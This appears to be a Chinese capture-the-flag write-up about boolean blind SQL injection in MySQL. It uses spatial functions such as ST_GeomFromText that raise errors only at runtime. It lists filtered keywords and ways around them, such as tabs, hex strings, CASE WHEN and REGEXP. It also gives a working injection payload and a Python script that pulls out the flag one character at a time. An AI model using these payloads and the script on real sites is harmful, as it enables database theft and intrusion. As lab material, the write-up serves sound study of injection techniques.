预备知识
基于运行错误的Bool型盲注
什么是基于运行错误的Bool型盲注
?
简单的说就是它能够通过MYSQL解释器检查,但是运行时候又会产生错的函数。我们可以用它来进行布尔型盲注。我们下面就来讲解一下一些能够通过MYSQL解释器的预检查却在运行时候出现错误的SQL函数。
Spatial Functions
ST_GeomFromText
、ST_MPointFromText
是两个可以从文本
中解析Spatial function的函数,如果我们的语法各方面都复合mysql的规则,如果我们在解析文本中做手脚呢?MYSQL解释器不会检查一个字符串是否复合MYSQL语法要求,很明显这样我们就可以绕过MYSQL预检查,但是在运行时候又「恰逢其时」地出错,这样我们就可以进行Bool盲注了。需要注意的是ST_GeomFromText
针对的是POINT()
函数,ST_MPointFromText
针对的是MULTIPOINT()
函数的。
以ST_GeomFromText
为例:
例如构造如下SQL语句,很明显POINT函数传入的必须是GIS中的地理坐标的数据类型,这里写入的是一个常量或者undefined类型,但是他却能正常运行。
mysql> SELECT IF(0, ST_X(ST_GeomFromText('POINT(gqleung)')), 0);
+---------------------------------------------------+
| IF(0, ST_X(ST_GeomFromText('POINT(gqleung)')), 0) |
+---------------------------------------------------+
| 0 |
+---------------------------------------------------+
1 row in set (0.00 sec)
假设我们将if
的表达式改成false
呢,很明显会执行中间的参数,POINT的数据类型错误会导致报错。
mysql> SELECT IF(1, ST_X(ST_GeomFromText('POINT(gqleung)')), 0);
ERROR 3037 (22023): Invalid GIS data provided to function st_geometryfromtext.
总结,其他可用的函数:
SELECT IF({}, ST_X(ST_GeomFromText('POINT(mads)')), 0);
SELECT IF({}, ST_MPointFromText('MULTIPOINT (mads)'),0);
SELECT IF({}, ST_X(MADS), 0);
SELECT IF({}, ST_MPointFromText('MADS'),0);
SELECT IF({}, ST_GeomFromText('MADS'),0);
解题过程
经过fuzz可以发现这个靶机不论参数传递数字都是会返回同一张图,但是如果存在被ban掉的字符会返回如下图:
我们可以借此FUZZ出被ban掉的关键字:
union、*、'、"、substr、mid、=、like、into、file、sleep、benchmark、 、^、or、、、、&、>、<、#、-、ascii、ord、floor、extractvalue、updatexml、if、rp、rep、GET_LOCK、info
这里过滤了空格,这里可以直接用
\t
来代替空格,URL编码后是%09,在写脚本时候可以使用TAB键来代替。过滤了单双引号,可以使用十六进制来代替字符串。
过滤了
if
可以使用case when....then....else...end
代替过滤了等于号、大于、小于、减号、like、我们可以使用正则表达式来判断也就是regexp
我们通过上面所讲解的ST_GeomFromText
,结合上述过滤考点,构造如下payload,当然空格要用%09代替。
index.php?id=1 and case WHEN user() regexp 0x61 then ST_X(ST_GeomFromText(0x504F494E54286D61647329)) else 0 end
如果if表达式为false可以发现返回正常的页面:
若if表达式为true,那么将会返回运行错误的页面:
EXP
据此编写Python脚本:
#author:Gqleung
#Email: admin@plasf.cn
#blog: http://www.plasf.cn
import requests
def ord2hex(string):
result = ""
for i in string:
r = hex(ord(i));
r = r.replace('0x','')
result = result+r
return '0x'+result
url = "http://39.107.126.173:7890"
tables = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-}{'
result=""
flag=1
result2=""
for i in range(1,70):
for j in tables:
payload = "/index.php?id=1 and case WHEN (select flag from flag) regexp binary %s then ST_X(ST_GeomFromText(0x504F494E54286D61647329)) else 0 end"%(ord2hex('^'+result+j))
r = requests.get(url+payload);
if 'cat' not in r.text:
result=result+j
print(result)
break
运行结果: